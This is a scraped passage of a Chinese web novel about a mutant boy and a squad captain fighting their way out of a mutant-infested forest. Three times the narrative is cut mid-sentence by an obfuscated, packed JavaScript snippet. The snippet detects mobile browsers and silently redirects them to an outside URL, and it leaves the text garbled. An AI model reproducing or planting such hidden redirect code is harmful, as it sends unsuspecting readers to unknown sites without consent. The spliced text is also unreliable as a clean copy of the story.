那就是他不太想看岁禾和其他人亲近。 “有些话不要乱说。”傅清洲又收回视线,重新继续往前走。 岁禾又立马跟上去,“什么话不能说?你也没有教过我呀,库里尔也没有教过我。” “我们现在要去哪里啊?” 傅清洲抬手揉了揉眉心,“你比梵溯还要吵。” 岁禾撇了撇嘴,很不开心地为自己辩解,“明明是他比我还要吵,你不要老是这样说我,我会生气的。” “生气?”傅清洲笑了一下,“你的小发雷霆有用么?最后是谁要委屈得回来找我?” 这人真讨厌! 岁禾抿着唇不说话了。 反正不管,岁禾就是要跟着他,像是个狗皮膏药一样赶都赶不走的。 况且也不知道这个人每天都那么多的精力,怎么一到打架的时候就不一样了,反而打两下就躺地上睡过去了,恢复能量也慢得不行,不睡够一两天完全就没有精神气。 “现在这么闲,过两天别又睡两天不起,很耽误赶路。” 岁禾不知道何时走到他身边和他肩并肩走着,听着这句话的时候抬头看向傅清洲,发现那人也在看着他,而眼里是很淡漠的情绪,岁禾有点捉摸不透。 至于为什么会琢磨不透,是因为岁禾第一次看不懂傅清洲的情绪,按理说他大概能读懂傅清洲的情绪,因为他身上有属于自己的东西。 但这次不一样,看不透。 “我不会拖你们后退的。”岁禾有些闷闷地开口,他确实自己也不想这样,可每次战斗之后的恢复能量的办法,他也不知道要怎么办。 总不能看着同伴出生入死而自己在一边什么都不干吧。 那不是岁禾的风格,特别是在经历了库里尔的那件事情之后,岁禾更不可能让这种事情发生。 宁愿自己赴死,也不会让别人为自己而死。 傅清洲也没有接话,只是默默抬手摸向他的额头,他身上的陌生能量应该已经被岁禾炼化成自己的能量了,所以身上的高热已经在慢慢退去了。 但还是有些发烧,大概需要调整一下,不过看岁禾这么精神的样子,应该也没什么英影响,傅清洲也只是大概注意一下他的身体问题就足够了。 他没有太多的精力去照顾一个什么都不会的人,作为安全基地第一小队的队长,如果他没死也没有变成异变种,那他本就应该早早回去,接各种各样的任务,然后消灭异变种。 给研究院带去新的研究物体。 这才是他的真正任务。 至于其他的,梵烬两位双生子,大概也能担任队长一职,只是需要锻炼一下心理。 而岁禾,真正的目的就是把他送回研究院,交给张博士和安博士进行研究。 其他的便没有什么大问题了。 可岁禾身上的很多密码都需要等着去揭穿。忘却的那些事情,以及自主吸收能量自己却不知情的事情。 太多太多秘密了。 如果库里尔还在就好了。 高强度的精神异能,库里尔无疑是整个安全基地最强的队长。只是实在可惜,他已经不在了,听傅清洲的父亲说起过,库里尔本该退休了,只是可惜那次的任务之后再也没有回来。 傅清洲也没想到会在这里能遇到库里尔的尸体,并且得到了他最后的托付——岁禾。 “最好是吧。”傅清洲点了点他的额头,“现在还有哪里难受?” 岁禾摇头,又眨着亮晶晶的双眼看向傅清洲,“粥粥,你是在关心我吗?你现在已经开始关心我了吗?” “没有。”傅清洲立马就收回手了。 他怎么就忘记了这是个特别会得寸进尺的人呢? “你就有!”岁禾偏偏不给他安生,扯着他的手臂摇晃着和他一起前进。 “没有。”傅清洲的声线冷了一些,对待岁禾这种爱得寸进尺的人最后都只能是冷脸。 然后打消他的士气。 岁禾一开始还不知道梵溯说的那句“闷骚”是什么意思,但现在他忽然就明白了,就比如傅清洲这样关心他还不承认的人就是闷骚。 他好像又学会了一个新词。 见傅清洲一直没理他,岁禾脑子灵机一动,也不知道上哪学的招数,反正开始就对了。 “哎呀,好难受。”岁禾扶着一旁的树干,瞥着眼前走了一大截路的傅清洲。 在听见声音之后,傅清洲停顿了一下,犹豫着要不要回头,结果又听见了岁禾喘息的声音,一着急就扭头去看他。 结果就对上了岁禾坏坏的笑容和笑得眯起来的双眼。 傅清洲又气又无奈。 他大步走上去,把岁禾拽到自己身边,嘴角抿着不易察觉的笑,但嘴上还是凶巴巴的,“谁教你的?” “没有人教我。”岁禾眨了眨眼望着他,“粥粥你先松开我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775870|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你力气太大了!” 傅清洲松了一点力气,“确定不是梵溯教你的?下次不要跟他走这么近。” “为什么?”岁禾看着他,“那我就要。你越是不让我做的事情,那肯定就是有鬼,那我就要去做。” 没想到岁禾还是个叛逆的小异种,傅清洲眉头挑了一下,沉思了一会儿之后开口:“可以啊,你到时候跟他学到什么坏东西的时候,你可以试试什么叫给你屁股打开花了。” 岁禾撇撇嘴,下意识把手伸过去捂着自己的屁股,“你比库里尔还凶!库里尔明明那么温柔。” 明明库里尔已经逝去很久了,但为什么从岁禾嘴里听见夸人的意思,傅清洲心里就是很不舒服呢? 他和岁禾对视了一下,最后又松开他大步往前走。 “你等等我!”岁禾连忙跟上去,“你为什么不等我?又自己偷偷生气,我都没有做什么!” “谁跟你生气?”傅清洲淡淡地开口,他就是觉得莫名的有点不舒服而已,虽然不知道这种情绪为什么会出现在自己身上。 因为刚刚看见岁禾和梵溯有亲密接触的时候,他也是有这种奇怪的情绪。 总觉得不能让岁禾多跟他们混在一起。 “你就是在生气!”岁禾每次一跟上他的时候,傅清洲就会加快脚步把他甩在身后。 这次生气的人也开始转换过来了,岁禾气呼呼地,也不想跟他在周围巡视了,自己一个人靠在树干上偷偷生闷气。 什么人啊,跟遛狗似的。 傅清洲走了几步发现身后的小尾巴没跟上来,于是停顿了一下回头去看,发现岁禾已经靠在树干上叉着腰。 不知道在想什么。 他犹豫了一下,回头去看他。 岁禾被突然出现的人吓了一跳,“你走路没有声音的啊?吓死我了,我以后都不理你了。” 傅清洲不说话,安静地看着他。而岁禾也不甘示弱地瞪了他一眼。 “走了。”傅清洲还是斗不过他,出声道。 “我才不走,跟遛狗似的,我不理你了,你自己回去。” 傅清洲深吸一口气,“我错了,跟我回去吧。” 岁禾这才喜笑颜开,黏糊糊地挽上傅清洲的手臂,道:“这才对嘛,走吧,我们回去。” “嗯。”傅清洲这次也没跟他继续闹下去了。 在周围绕了一圈,没什么大问题,确定可以在这里休整之后就回去了。 但警惕还是不可避免的。 “粥粥,你背我呗,我走累了。”岁禾站在原地晃了晃傅清洲的手臂,可怜巴巴地望着他。 傅清洲扭头和他对视。 “好不好?我好难受啊……你要多照顾我这个虚弱的人,库里尔也是这么照顾我的。” 傅清洲在他面前弯下腰,黑着一张脸开口:“上来,快点。” 岁禾喜滋滋地搂着他的脖子趴上他的背,只是还没等自己开心够呢,就听见了傅清洲不太好的语气。 “库里尔也是这么背着你的?” 岁禾摇头,“才没有!我一般不会给他添麻烦。” “那你倒是会给我添麻烦。”傅清洲冷笑一声,单手拖住他的膝盖弯,另一只伸到后面去拍了拍他的屁股,“你可真会得寸进尺。” 岁禾“嘿嘿”一笑,“因为粥粥跟库里尔不一样啊。” 傅清洲听完这句话之后心里好受多了,就连原本郁闷的心情都消散了不少。 19. 第 19 章 傅清洲把岁禾背回临时搭起的休息地时,梵溯整个人都看呆了。 这俩人刚刚还一前一后地跟着出去溜达了一圈回来,怎么就忽然关系变好了? 一个冷脸背着人,一个搂着傅清洲的脖子,晃着腿,嘴里还哼着一个不知名的调调,实在是能让人震惊掉大牙,特别是梵溯。 双生子跟着傅清洲这么久,可从来没见过他对谁会这样过,而岁禾确实是第一个这样的人。 他们不知道的是,这样的结果是因为岁禾死缠烂打才得来的,而这一群里没有人敢对傅清洲这么死缠烂打的。 所以才得以让岁禾有了这样的特权。 “哥,我就说他俩肯定有一腿吧。”梵溯戳了戳梵烬的手臂,指着前方的二人,小声地开口说着。 梵烬抬手敲了敲他的额头,道:“少打听队长的八卦,他们是什么关系跟我们也没有关系。” “哦。”梵溯抬手揉了揉额头。 在这种地方,面对两个冰山,没有八卦让梵溯怎么活? “到了,下来。”傅清洲拍了拍身后的人,冷声道。 岁禾搂着他的脖子不愿意放开,道:“我就不,我就不下去。” 他搂紧了傅清洲的脖子,双腿也夹紧了他的腰不让他把自己扔下来。 傅清洲对这人的耍无赖功夫总是觉得很无奈,他走到双生子面前,出声,“现在开始赶路,晚上也赶,但要注意安全。” 现在白昼的时间太短了,吃饭休息的时间都要占比,实际上赶路的时间并不是很多,夜晚降临的时候又害怕遇到危险。 “晚上也赶路么?”梵烬错愕了一下。 傅清洲点头,“是,时间太赶了,我们必须提前离开这里。” 离开太久了,完全不知道安全基地现在是什么样子,而且第一小队是安全基地的主力,在这边呆太久的话并不会太好。 岁禾趴在他背上,“为什么晚上也要赶路?还不能睡觉吗?” “你还没睡够?”傅清洲淡声道。 岁禾撇了撇嘴,虽然他确实睡了很久,但没有太阳他就必须换一种办法补充能量,这并不能怪他。 梵溯噗嗤一声笑出声,然后就遭受到了三双视线,他连忙捂着嘴巴摇头,表示自己不笑了。 要赶路的话,就不能按照原计划进行,但其实也大差不差,因为岁禾这一闹,几个人都多了一些警惕在岁禾身上,生怕这个看起来年纪最小的人又发生点什么大事。 好在连续赶了几天路,这个人并没有什么不舒服,反而惬意得不行。 开心的时候就跟梵溯拌嘴,累了的时候就跟傅清洲撒泼打滚让他背自己,像个无赖一样。 这基操把双生子都看呆了。 “还有多久啊?”岁禾趴在傅清洲的背上,看着前方的路。 这几天的高强度赶路实在是让他有些难受,本来就没怎么出过远门的小异种,之前库里尔带着他的时候还会为他考虑,现在傅清洲完全就不会为他考虑,只想着赶紧出去。 岁禾的心脏感觉越来越强烈,他记得这种感觉,之前和库里尔走到森林外围的时候就是这种感觉。 如果不出意外的话,傅清洲应该也是能感觉到这种情况的。 今天天上下起了大雨,岁禾手上举着一个不知道哪里摘来的大荷叶,挡住了大部分的雨,他趴在傅清洲的背上,心脏跳动的感觉越来越快。 岁禾说不出这种感觉。 慌乱、不安、躁动。 他都说不出来。 不止是他,就连傅清洲也难受的不行,他单手托着岁禾,一只手捂着心脏的位置,眉头微微皱起。 “队长,你不舒服吗?”梵烬把一切都看着眼里,远处的傅清洲和岁禾看起来都不太舒服的样子。 被这么一提醒,梵溯也忽然想起来哪里不对劲,“对!我想起来了,岁禾好像最近也不太对劲。” 几个人齐刷刷地把视线落在梵溯身上,傅清洲眉头皱起来,“你怎么不早说?” 四人停止了赶路,傅清洲把岁禾放下来,岁禾在地上踉跄了几步,靠在树干上,他手上还拿着荷叶,一只手捂着心脏的位置。 “到森林外围了。”岁禾说。 心脏里的感觉实在说太强烈了,跳得很快很快,仿佛不是他自己的心脏一样。明明之前和库里尔出来的时候根本没有这种感觉。 到底是因为什么? 梵烬在周围观察了一下,“对,到森林外围了,队长,很快就能出去了。” “不……”岁禾摇头,不给傅清洲回答的机会,“出不去……” 三个人的视线落在他身上。 天上还下着大雨,几个人站在树底下,淋得湿漉漉的,只有岁禾靠在树干上,手上拿着一根荷叶,完全没有沾湿的地方。 和他们完全不一样。 他像个不沾水的植物一样。 “森林外围的异变种不强,我们可以出去的。”梵溯说:“不用担心的。” 双生子不明白怎么回事,但傅清洲却忽然明白了,他的心脏也隐隐约约有些难受,他忽然想起了那天岁禾和他说过的话。 “我们两个是捆绑在一起的,你死我也死,反之也一样。” 以及他提过的,库里尔带他离开的时候,就是到了森林外围的时候,硬生生被打回去的。 他沉下脸,“原地休整。” 梵烬看向他,“队长,如果按照这个速度,大概率明天就能出去了,现在休整有点浪费时间了。” 梵溯也道:“是啊队长,我们按照这个速度很快就能出去了。如果你是带着岁禾太累了,我帮忙背着也行。” “不要你。”岁禾哼声。 梵溯:“你不要嫌弃得这么明显好吗?好歹让我觉得自己有点用吧?” “哦。”岁禾一张冷漠脸。 “先休整。”傅清洲依旧是那句话。 他都这么说了,双生子也没再说什么。 岁禾抿着唇,“保存好体力。” 双生子齐刷刷看向他。 傅清洲又说:“听他的。” 岁禾依旧靠在树干上,背后已经被湿润的树干浸透了,他垂着眸不知道在想什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775871|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“还有什么?”傅清洲走向他。 “什么?”岁禾仰头看他,对于他的话有些迷茫不解。 傅清洲抬手拍了拍他的脑袋,以示安慰,“你说过的,在森林外围。” 岁禾缓慢地眨了眨眼,忽然他觉得鼻尖有点酸。 “我不知道……”岁禾又垂下眼眸,“我不知道要做什么准备。” 傅清洲沉默着看他。 “我怕……”岁禾裹紧了自己的衣服,眼眶里蓄满了泪水,声音是止不住的颤抖,“粥粥……我怕。” 库里尔、傅清洲。 这两个人都在想方设法地带他离开,可最后一个即将迎来了危险,他什么都做不到。 还有一个是自己眼睁睁看着死的。 傅清洲不知道怎么安慰他,犹豫了一下,上前一步把他按进自己怀里,哑着声音道:“还没到那一步呢,别害怕,说不定这次什么事都没有。” 岁禾松了手里的荷叶,落在地上,他裹着傅清洲的衣服,把头埋进他怀里,最后还是点了点头。 会不会出事他并不清楚,或许和库里尔那一次也只是个意外。但他心脏传来的感觉不会错,他也清晰地知道。傅清洲是能感应到的。 岁禾的恐惧只是来源于那一次的围攻,后面再也没有经历过,所以他害怕,不安。 而傅清洲是唯一能感应到他的情绪的,就算他表面看起来没什么事情,心脏相连的感觉是不会错的。 他确实能清晰地感应到岁禾心中的恐惧和不安。这个感觉甚至连他自己都不知道怎么来的,只知道从他醒来看到岁禾的那一刻开始,就有了。 “我们好好休整。”傅清洲又拍了拍他的脑袋,“就算来了,这么这么多人也会打得过的。” 岁禾又点头。 他知道傅清洲是在安慰自己,所以他也算是在安慰傅清洲了吧。 双生子窝在树底下挡雨,梵溯靠在他哥身上,看着不远处的二人,又开始嘀咕起来,“要说队长跟岁禾没有一点关系的话,我是不信的。” “他俩绝对背着我们谈恋爱了!” 在这个末世里,发家都只忙着生存了,至于谈恋爱什么的,和谁谈恋爱,都已经完全不重要了。 所以二人仅用了0.01秒就接受了这个事实。 梵溯打了个哈欠,“哥,你说到底有什么危险,值得岁禾害怕成这样?明明外围的异变种根本就不强。” “你休息会儿吧,别说那么多了。”梵烬望了他一眼。 梵溯又撇撇嘴,“现在连你也嫌弃忘了?呜呜呜呜呜呜呜呜呜,我真的好可怜。” 梵烬真是懒得理他,抬手捂住了梵溯的嘴巴,直接从根源上解决问题。 “不管如何都要提高警惕,不要以为外围的异变种很弱就可以放松警惕了,阿溯,我要教你多少遍?不可以轻视敌人。” “我哪有轻视敌人?”梵溯拿开他哥的手,嚷嚷着不服气,“我只是觉得岁禾的担心和害怕是完全多余的。” “根本就不会发生什么,就算来了很强的异种,我们几个人不也是能打得过吗?” 20. 第 20 章 夜晚降临的时候,岁禾心里越来越不安。但休整的时间已经结束了,四人必须要在夜晚中赶路。 他拽着傅清洲的衣角,观察着周围。天上飘着蒙蒙细雨,雨滴飘进他的眼睛里,阻碍了他的视线,让他十分的难受。 他又只能垂下头。 夜晚的寂静和虫鸣的声音以及一种不知名的声音,听得岁禾格外的难受。 异种的双目和耳朵很灵敏,可如今都被阻碍了,他只得依靠傅清洲,紧紧拽着他的衣物。 傅清洲以为他害怕,往后伸手裹着了他的手腕,把人拽到自己身边待着,岁禾踉跄了一下,稳稳站在他身边,半是埋怨,“粥粥……” 梵溯在后面叽叽歪歪的,“呼,终于有人说话了,安静得跟啥是的,难道你们都不怕吗?” “怕什么?”岁禾回他。 他说完之后身边的傅清洲好像很轻地笑了一声。 梵溯不服气,又开口:“你不怕谁怕?我们之中最害怕的不就是你吗?你不害怕你拽着我们队长干嘛?” 梵烬:“你不也拽着我?” “哥!”梵溯哀怨地叫了一声。 岁禾没忍住笑出声,他拽着傅清洲手腕上的衣服,回头看了他一眼,“你不也害怕,你不要虚张声势了。” 梵溯还是不服气,随手从手边摘了一根草,“反正我才没有你怕呢,毕竟刚刚不知道是谁又哭又闹的,结果不还是要赶路?” “你看看现在也没什么危险啊,我就说你的直觉是错的吧?而且森林外围的异变种都不强的,完全不用害怕。” 岁禾又回头看了一眼,黑夜中他的视线非常的清晰,他看见梵溯手里抓着一根不知道哪里折下来的植物,正准备放进嘴里。 他眼疾手快地挥出藤蔓,打掉了他手里的东西,冷声道:“别乱吃东西,有毒啊。” 梵溯被藤蔓抽了一下,疼得“哎哟”一声,然后又听见了岁禾的话,连忙跳开原地,“呜哇,你怎么不早点说?我刚刚碰了一下不会中毒吧?” “会。”岁禾收起藤蔓,冷声哼道。 知道他是开玩笑的,梵溯松了一口气,“下次能不能口头提醒啊?你的藤蔓抽人很痛诶。” “不能。”岁禾回头朝他做了个鬼脸,“就打你就打你。” 梵溯被气死了,松开抓着他哥的手,就往前面跑,岁禾见状也连忙松手往前面跑,一边跑还一边说:“你追不到我,略略略。” 傅清洲和梵烬站在原地叹了一口气,然后连忙跟上去。 岁禾一边跟他跑一边回头和他挑衅,他对森林的地形很熟悉,虽然力量速度比不过梵溯,但梵溯却被地形绊住了脚步。 好不容易快追上的时候,岁禾直接停了下来,梵溯在后面追着他,因为跑太快没刹住车,惯性往前面多跑了几步,直直撞上了岁禾。 岁禾被他一撞,整个人往前仰,梵溯还想拽他一把,结果没拽稳,还把自己搭上了。 两个人叠罗汉一样倒在地上。 傅清洲二人赶到的时候,就看见了这幅画面,梵烬更是看了一眼自家队长的表情,连忙上前把梵溯提起来。 岁禾趴在地上呆滞了一会儿,他听见了不得了的声音。 怒吼、嘶嚎。 还有很多很多嘈杂的声音。 “死了?”傅清洲蹲在他面前,“不舍得起来了?这里不让睡觉。” 还没等岁禾有动作,傅清洲倒是先把他提起来,“该走了,发什么呆呢?” 梵溯上前,“喂,不会被摔傻了吧?” 傅清洲的心脏抽痛了一下,岁禾捂着心脏蹲下身,把头埋进膝盖里,“好难受,好痛。” 梵溯抖了一下,抬手轻轻推了他一下,“喂,不会真被摔傻了吧?” 岁禾脸色苍白,心脏的位置越来越痛,“扑通扑通”跳得极快,耳边都是刚刚那些嘈杂的声音。 他一会儿捂住心脏,一会儿又抬起手捂着耳朵,看起来像是魔怔了一样。 三个人围着他。 就连傅清洲也感觉到心脏有些不舒服。 “队长,有瘴气。”梵烬率先闻到不对劲的气体,他捂住鼻子,厉声道。 紧接着剩下两个人也跟着捂住鼻子,只有蹲在地上的岁禾依旧保持着他那个姿势。 周围漫起淡淡的雾气,一点一点变深。 “先顾好自己。”傅清洲提起岁禾的衣领,拽着他,“别走散了。” “这里为什么会有瘴气啊?”梵溯十分的不理解,“明明到外围了啊,也不是热带雨林啊,到底怎么回事?” 梵烬:“应该是异变种,阿溯,能看得见吗?” “不行!雾气太浓了,我看不见。” “跑……”岁禾呢喃着:“你们快跑……” “前面……不对。”岁禾看着前方,“不对,左边也不对……” 傅清洲裹紧岁禾的手腕,“跑不掉了,晚了。” “队长!” “还在!”傅清洲应着,“梵溯能看见路吗?” “看不见。”另一道声音传出来。 梵溯看不见,也就代表着他现在跟普通人没有区别,他的异能本来就是超强视力,看不见的话他的武器也用不了。 “跑不掉了……晚了……”岁禾依旧呢喃着:“粥粥……晚了。” “好多好多……” “什么好多?”傅清洲回头看他,在雾气迷茫中,他好像看见岁禾哭了。 “小兄弟,说话别说一半啊!”梵溯快要急死了。 岁禾抬起手擦了擦眼泪,说话也断断续续的,“好多……好多异种……” “四面八方都是。” 众人沉默着。 “等等……你看得见?”梵溯率先回过神来。 “嗯。”岁禾低声应了一声,不知道梵溯听不听得见,但傅清洲听见了。 这个瘴气和雾气绝对是高强度异种幻化出来的,如果说岁禾能看见的话,那他的等级远高于这些异变种。 异能也有等级划分,而高等级的人是可以压制低等级的人。 岁禾能看见,能听见…… 他的等级绝对不会低。 “那你快看路呀,我们怎么出去?”梵溯又说。 他现在相当于盲人一样看不见,如果有异种出现的话,他只能靠自身的反应速度来躲避。但好在他哥还在他身后,紧紧贴着他的后背。 才得以让梵溯安心了不少。 三个人同时捏着鼻子不闻这个瘴气,这样反应速度就会慢很多。 但岁禾就那样站在原地什么都不做,瘴气对他没有办法,连雾气也没法阻碍他的眼睛。 “跑不掉了,被包围了。”岁禾说,“方圆两公里内,我们已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775872|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经出不去了。” “那怎么办?”梵溯说。 梵烬:“队长,怎么办?” “拼死一战。”傅清洲手中幻化出一把冰剑,“烬,身上带了信号弹吗?” “我记得还有一颗信号弹。”梵溯回着,“在包里,要用吗?” “先别用。”傅清洲说道。 岁禾站在原地,直视着前方的东西。忽然,他抬起手抓住了傅清洲的手臂。 傅清洲回头看他。 岁禾的手继续往下,摸到了傅清洲的冰剑,从他手里夺了过来握在手里。 没等他问出口,岁禾的动作很快,刀剑闪了一下,岁禾的手心上多了一道伤口,鲜血奔涌而出。 “你……” 岁禾把剑扔在地上,朝傅清洲走过去,在他面前站定。 “粥粥,松手。”岁禾出声,“你看得见周围,是吗?” 傅清洲不理解他的意思,他明明是看不见的。但当他眨了眨双眼,眼前的那一片雾气好像真的在慢慢变得清晰起来。 他有些呆滞。 岁禾的眼尾还有些红,他手心上一直滴着血,落在傅清洲的手腕上,染红了一片。 他举着手递到傅清洲面前,“喝了,粥粥。” 傅清洲皱着眉推开他,弯腰捡起地上的剑,“你别闹了,我不会喝同类的血。” 这下轮到岁禾愣住了。 岁禾缓慢眨了眨眼,自己慢慢含住了自己的手心,随后在傅清洲直起身体的时候凑上去亲了上去。 吻很柔和,又或者根本算不上吻,这是岁禾急切地想要喂他喝自己的血液。 傅清洲顿住了,反应过来的时候要推开他,才发现不知道什么时候双手双脚都被藤蔓绑住了。他只能任由岁禾在他唇上揉搓。 心脏“扑通扑通”跳得很快,四周仿佛是禁止了一般。 傅清洲能清晰地看见很远地异变种,能看见不远处的双生子。 这种感觉很奇妙,岁禾的唇瓣很软,傅清洲忽然有一股冲动,狠狠在他的唇瓣上咬一口。 他这么想也这么做了。 “唔……”岁禾吃痛发出一声闷哼。 “队长!”一边的声音响起来,“队友你快想办法啊!” 傅清洲这才回过神来,挣脱藤蔓推开岁禾,然后沉着脸捏住岁禾的下巴,看着他被鲜血染得映红的唇瓣,伸手去擦了一下。 露出嘴上的伤口。 傅清洲被他灌了一口血,唇瓣也被染得绯红。 “疯了?”傅清洲问他。 岁禾眯着眼舔了舔唇,“能救你的命,我才没疯,你们逃出去,这里我来对付。” “我不会走的。”傅清洲被他气死了,“我说了要带你离开。” “我走不了!”岁禾抬起眸子和他对视,“库里尔已经验证过了不是吗?我走不掉的,你们最后都会死在这里。” 梵溯又出声,“什么库里尔?你们在说什么啊?快点想办法啊,我跟哥根本就看不清路。” 地上长出一根藤蔓,粘上了岁禾的鲜血,飞快地往双生子那边伸去,沾着血的藤蔓慢慢地拂过双生子的面庞,视线也在慢慢变得清晰起来。 傅清洲适时地放开眼前的人,最后压低声音道:“把你脑子的想法去掉,我说到做到。” “岁禾,没人和你一样懦弱胆小的。” 21. 第 21 章 傅清洲说的话一下堵在岁禾的心口上,他张了张嘴想反驳并不是这样的,可最后好像也没能说出什么来。 他不是懦弱的人。 他只是害怕而已啊。 视线变得清晰起来,梵溯揉了揉眼睛,看着前方的地面,忽然大叫起来,“哥!我能看见了!” 梵烬抬手揉了揉眉心,“知道了,我也能看见了。” 而且似乎是跟岁禾有关。 梵烬摸了摸脸上残留的血迹,扭头看向另一边面对面对峙的二人,岁禾双手垂在身侧,被划开的手心还在往下滴着血。 他垂着头不知道在想什么。 而傅清洲已经已经转过身去,手上重新拿起那一把冰剑,看着远处的异变种。 岁禾低垂着眼眸,盯着地面,眼眶发红不知道在想什么。 梵溯挠了挠头,有些不理解怎么忽然就变成这样了,明明刚刚看不见的时候那二人还在叽里咕噜说着什么呢,怎么忽然就能看见了,然后这俩人的气氛就有点不对劲了呢? 他看向梵烬,无声地对视着,都从对方眼里看见了不解。 “准备好战斗吧,信号弹直接用。”傅清洲擦了擦剑,扭头看向双生子。 双生子的脸上都沾了岁禾的血,已经能从这一片雾气中看清轮廓了,那所谓的瘴气好像也对他们没有用了,总之岁禾的血就是个好东西。 四面八方都是异变种。 他们已经被包围了,还有更高级的异变种,梵溯这辈子没见过这么多异变种聚集在一起,仔细一看还有些后怕。 这个画面实在是让梵溯都能震惊的程度,还特别有气势压迫。 傅清洲背对着岁禾,抬手摸剑的时候顺势摸了一下自己的唇部,刚刚岁禾温软的触感仿佛还在身上。 似乎刚刚说的那些话有些重了。 双生子站在傅清洲的两侧,梵溯回头看了一下岁禾,悄声问队长:“队长,他真的没事吗?” “让他自己想一想。”傅清洲看着向他们走来的异变种,“凡事先保重自己,谁都不要管。” “是!” 这么多的异变种,更甚还有强大的,如果支援来得及时的话,或许他们还有机会能跑出去,如果不及时的话,估计就只能葬身在此处了。 几个人都做好了心理准备。 傅清洲不打算管岁禾的原因也很简单,他发现了一个问题,异变种是奔着岁禾过来的,但从来不会伤害他。 起码不会给他致命伤。 所以岁禾应该是不会有什么问题的,傅清洲对这一点很自信。 所以三个人最重要的还是保住自己的性命,傅清洲不能死在这里,他必须要带着岁禾离开这座森林。 因为末世的关键,或许只能靠他。 傅清洲在赌一个百分之二十的可能。 异变种已经快要到面前了,傅清洲三人已经来不及说什么了,直接往前冲上去迎战,梵溯站在原地拉起弓。 可异变种实在是太多了,他就算速度很快也没有办法抵挡住朝他冲过来的异变种。 双生子的感应不会有错,梵烬一个火球扔向眼前的异变种,直接跑到梵溯身边拽了他一把,“注意点,别被偷袭了。” 梵溯点了一下头,握着弓在四周观察了一下,爬上了一棵树,对着底下的异变种射出一支又一支箭。 他的箭好像用不尽似的,源源不断,但也只能射杀一些低级的普通异变种。 梵溯眯着眼睛,看向远处的梵烬,举起一支箭把从背后偷袭的异变种射杀。 这些异变种来势汹汹,而且看起来像是有准备的,像是把他们逼入绝境。伴随着嘶鸣,更多的异变种从白雾中显现出来,一个个穿过站在原地的岁禾,朝着那最强战斗力的二人冲去。 梵溯发现了这一个奇怪的地方,为什么异变种不会攻击岁禾,甚至连看都不看他一眼。 而且岁禾的血还能让他们在白雾中看清事物。 岁禾真的很强大,已经强大到异变种都害怕的程度了吗? 但梵溯根本没有时间去思考,拉紧弓就射向梵烬身后扑上来的异变种。 这个突变来得太突然了,三个人仿佛都没有做好准备。只有岁禾一个人站在原地依旧保持着那样的姿势不知道在想什么。 耳边是呼啸的风声,野兽的怒吼和树枝交叠的沙沙声。 岁禾脑子里重叠着那一天的画面,库里尔也是这样被一群野兽扑倒,他们二人被围困在一起,周围全身野兽。 那时候的岁禾眸子里满是懵懂,什么都不懂,看着双手上沾满了库里尔的血,十分害怕地躲在库里尔身后。 他什么都做不到? 不,他是不敢。 他害怕,懦弱。 “岁禾,没人和你一样懦弱胆小的。” 傅清洲说的话依旧在他耳边回荡,他仿佛听不见周围的喧嚣声,就那样活在自己的世界里一样。 “岁禾!”梵溯拉紧弓弦,抽空看了他一眼,喊了他一声。 队长和梵烬的能量有限,异种实在是太多了,根本就抵抗不完,他们迟早会用尽能量的。 最主要的是异变种不近岁禾的身,那他应该是有办法的。 梵溯没有别的办法了,所以只能赌一把,赌在外面的队友什么时候能进来,赌岁禾真的有办法能让这些异种停下来。 如果赌错了好像也只能葬身在此处了。 岁禾听见声音的时候,抬头看向声源处,是树上的梵溯,他正拉着弓箭拼命射向靠近那二人的异变种,却忽略了自己。 高度的精神集中让梵溯根本没办法顾及自己,双生子的感应很剧烈,他哥的能量并没有办法支撑太久了。 一条异变的蛇绕到树上,缓慢地朝梵溯靠近,最后从他身后的树干钻出,朝着梵溯吐蛇性子。 岁禾心都提起来了,手上幻出的藤蔓飞快地刺向他身后的那条蛇。 “梵溯!”梵烬扭头看了他一眼。 梵溯瞪大双眼看着朝他飞来的藤蔓,完全不知道身后的危险,只顾着眼前的东西,可惜速度太快了,他甚至都来不及躲。 他只能缓慢地闭上了眼睛,等待着死神的降临,谁知那条藤蔓擦过他的脸颊,尖刺划过他的脸庞,瞬间划出一道血痕。 粉色的藤蔓刺向身后的异变蛇,异变种发出一声低吼,直接当场死亡从树上掉落在地上。 梵溯睁开一只眼睛看了一眼,岁随后松了一口气拍了拍自己的胸膛,朝岁禾不满道:“小兄弟,下次能不能提前预警一下?我快被吓死了。” 看见自己弟弟安然无恙,梵烬也是跟着松了一口气,傅清洲和他背贴着背,低斥着:“集中注意力,别放松警惕。” “是!”梵烬喉咙干哑,有些感激地看向岁禾。 如果不是他,那他的弟弟估计就会死在那里。梵烬和梵溯心连着心,在看到那一幕的时候差点就要冲过去了。 可也不会有什么用,他和梵溯的距离太远了。 